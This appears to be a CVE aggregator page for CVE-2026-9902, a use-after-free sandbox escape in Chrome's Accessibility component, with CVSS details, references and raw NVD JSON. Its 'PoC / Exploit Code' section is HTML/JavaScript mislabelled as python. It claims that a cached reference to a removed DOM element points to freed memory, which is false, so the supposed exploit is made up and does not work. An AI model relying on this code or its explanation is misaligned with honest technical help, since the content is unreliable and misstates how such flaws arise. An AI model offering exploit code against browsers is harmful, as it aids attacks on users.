CVE-2026-9902

Description

Use after free in Accessibility in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

8.3

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome < 148.0.7778.216

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
  Conceptual Proof of Concept for CVE-2026-9902
  Trigger: Use After Free in Accessibility component
  Target: Google Chrome < 148.0.7778.216
-->
<html>
<head>
    <title>CVE-2026-9902 PoC</title>
</head>
<body>
<script>
    // 1. Create a target element that interacts with Accessibility
    let vulnElement = document.createElement('div');
    vulnElement.setAttribute('role', 'button');
    vulnElement.setAttribute('aria-label', 'Exploit');
    document.body.appendChild(vulnElement);

    // 2. Cache a reference to the internal Accessibility object
    // (This represents the internal object that will be freed)
    let cachedRef = vulnElement;

    // 3. Trigger the Free operation
    // Removing the element from DOM should trigger cleanup in Accessibility
    document.body.removeChild(vulnElement);

    // 4. Force Garbage Collection (Conceptual, to ensure memory is freed)
    // In a real exploit, heap grooming would happen here.
    // for (let i = 0; i < 100; i++) { new ArrayBuffer(1024*1024); }

    // 5. Use After Free
    // Attempting to access the properties of the freed object
    // This triggers the vulnerability if the memory is reused or corrupted
    setTimeout(() => {
        try {
            // Accessing the cached reference which now points to freed memory
            console.log("Attempting UAF access...");
            let label = cachedRef.getAttribute('aria-label');
            // If successful, browser may crash or allow code execution
        } catch (e) {
            console.log("Access failed");
        }
    }, 100);
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9902
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9902
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9902/
[4] VulDB https://vuldb.com/cve/CVE-2026-9902
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html
[6] https://issues.chromium.org/issues/498205735

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9902", "sourceIdentifier": "[email protected]", "published": "2026-05-28T23:16:48.207", "lastModified": "2026-05-29T16:16:36.683", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Accessibility in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/498205735", "source": "[email protected]"}]}}